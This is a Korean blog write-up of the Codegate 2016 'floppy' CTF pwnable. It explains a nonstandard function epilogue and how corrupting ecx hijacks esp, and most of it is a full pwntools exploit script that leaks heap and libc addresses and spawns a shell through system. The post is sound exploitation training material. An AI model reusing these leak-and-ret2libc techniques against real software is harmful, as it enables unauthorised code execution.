ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Codegate 2016 floppy
    Pwnable/CTF 2017. 6. 10. 01:53



    함수 에필로그 부분이 leave ret이 아니다. 

    이 문제의 중요한 부분이 에필로그부분이라고 할수있다. 다른거 없고 이 에필로그로 인해 바뀌는 esp ebp ecx edx 레지스터들을 

    gdb로 보면서 계산하고 core gdb로 분석하면서 계산하면서 풀수있다.


    그리고 오버플로우 부분이있는데 ebp 전에 ecx edx 등 레지스터들이 끼어드는 바람에 ret까지 오버플로우를 할수가없다. 

    그래서 esp를 조작하여서 풀수있다.




    최대한 빨리풀고 다른 문제를 풀자는 마음으로 시작하여서 함수도 안 쓰고 코드를 더럽게 짯다.
    다음에 시간 있을때 깔끔하게 만들어야겠다 ㅎㅎ

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    from pwn import *
    p=remote("127.0.0.1",19001)
    #p=process("./floopy")
     
    print p.recv(1024)
    p.sendline("1")
    print p.recvuntil('\n\n')
    p.sendline("1")
    print p.recvuntil('\n')
    p.sendline("2")
    print p.recvuntil('\n\n')
    p.sendline("CCCC")
    print p.recv(1024)
    p.sendline("CCCC")
     
    print p.recv(1024)
    p.sendline("1")
    print p.recv(1024)
    p.sendline("2")
    print p.recv(1024)
    p.sendline("2")
    print p.recv(1024)
    p.sendline("A")
    print p.recv(1024)
    p.sendline("A")
    print p.recv(1024)
    p.sendline("4")
    print p.recv(1024)
    p.sendline("1")
    print p.recv(1024#descr
    p.sendline("Q"*20)
    print p.recv(1024)
    p.sendline("3")
    print p.recvuntil("Q"*20)
    heap = u32(p.recv(4))
    print hex(heap)
     
     
    print p.recvuntil('\n')
    p.sendline("1")
    print p.recvuntil('\n\n')
    p.sendline("1")
    print p.recvuntil('\n')
    p.sendline("4")
    print p.recvuntil('\n\n')
    p.sendline("1")
    print p.recvuntil('\n\n')
    payload="A"*10
    payload+="B"*2
    payload+="C"*4
    p.sendline(payload) # len(16)
     
    print p.recvuntil('\n')
    p.sendline("3")
    print p.recvuntil("C"*4)
    v8Pointer = u32(p.recv(4))
    ecx = v8Pointer +0x3c
    print hex(v8Pointer)
    print hex(ecx)
    payload+=p32(v8Pointer) #len(20)
    payload+=p32(heap+4#ecx esp  len(24)
    payload+="\x90\x90\x90\x90" #ebx      len(28)
    payload+="QQQQ" #ebp      len(32)
    print p.recvuntil('\n')
    p.sendline("4")
    print p.recv(1024)
    print p.recv(1024)
    p.sendline("1")
    print p.recv(1024)
    p.sendline(payload)
    print p.recv(1024)
    p.sendline("3")
    print p.recvuntil("QQQQ")
    ret = u32(p.recv(4))
    libc_start_main = ret - 243
    system = libc_start_main+0x249f0
    cmd = system+0x11ee49
    print "__libc_start_main"+hex(ret)
    print hex(system)
    print hex(cmd)
     
     
    ######Last Exploit ##############
    print "LAST START"
     
    print p.recv(1024)
    p.sendline("1")
    print p.recv(1024)
    p.sendline("1")
    print p.recv(1024)
    p.sendline("4")
    print p.recv(1024)
    p.sendline("2"#da
    print p.recv(1024)
    p.sendline(p32(system)+p32(cmd)*2)
    print p.recv(1024)
    p.sendline("5")
     
    p.interactive()
    cs


    ecx레지스터를 위주로 변조하여서 문제를 풀었다.


    로컬로 소켓을 열어서 그런지 원래 쉘이 따져야되는게 안따지는 경우가 있어서 이상한곳에서 삽질을 했다 ㄷㄷ..




    'Pwnable > CTF' 카테고리의 다른 글

    HITCON 2016 SecretHolder  (0) 2017.07.11
    Secuinside 2017 ohce  (0) 2017.07.03
    DEFCON 2017 smashme  (0) 2017.05.02
    BKPCTF cookbook  (0) 2017.03.31
    PlaidCTF 2014 kappa  (0) 2017.03.14
Designed by Tistory.